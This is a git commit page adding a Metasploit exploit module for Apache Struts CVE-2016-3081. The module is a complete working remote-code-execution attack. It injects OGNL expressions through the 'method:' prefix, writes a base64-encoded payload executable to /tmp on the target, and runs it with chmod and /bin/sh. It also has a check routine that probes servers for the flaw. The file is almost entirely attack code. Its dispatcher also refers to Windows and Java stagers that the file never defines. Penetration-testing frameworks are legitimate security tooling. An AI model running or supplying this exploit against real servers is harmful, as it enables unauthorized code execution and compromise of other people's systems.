struts s2_032 rce - linux_stager

bug/bundler_fix
join-us 2016-04-29 10:49:56 +08:00
parent f28d280199
commit 643591546e
1 changed files with 183 additions and 0 deletions

View File

@ -0,0 +1,183 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ linux },
'Privileged' => true,
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
], self.class)
end
def send_http_request(payload)
uri = normalize_uri(datastore['TARGETURI'])
send_request_cgi(
'uri' => uri + payload,
'version' => '1.1',
'method' => 'GET')
end
def parameterize(params) # params is a hash
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
end
def generate_rce_payload(code, params_hash)
payload = "?method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload << "&"
payload << parameterize(params_hash)
payload
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
def upload_file(filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
code << "##{var_b}.close()"
params_hash = { var_c => filename, var_d => content }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def execute_command(cmd)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
code << "##{var_d}=new char[1024],"
code << "##{var_c}.read(##{var_d}),"
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_e}.println(##{var_d}),"
code << "##{var_e}.close()"
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
params_hash = { var_f => cmd }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def linux_stager
payload_exe = rand_text_alphanumeric(4 + rand(4))
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
b64_filename = Rex::Text.encode_base64(payload_exe)
b64_content = Rex::Text.encode_base64(generate_payload_exe)
print_status("Uploading exploit to #{payload_exe}")
upload_file(b64_filename, b64_content)
print_status("Attempting to execute the payload...")
execute_command("chmod 700 #{payload_exe}")
execute_command("/bin/sh -c #{payload_exe}")
end
def exploit
case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
when 'java'
java_stager
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
params_hash = { var_b => flag }
payload = generate_rce_payload(code, params_hash)
resp = send_http_request(payload)
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
end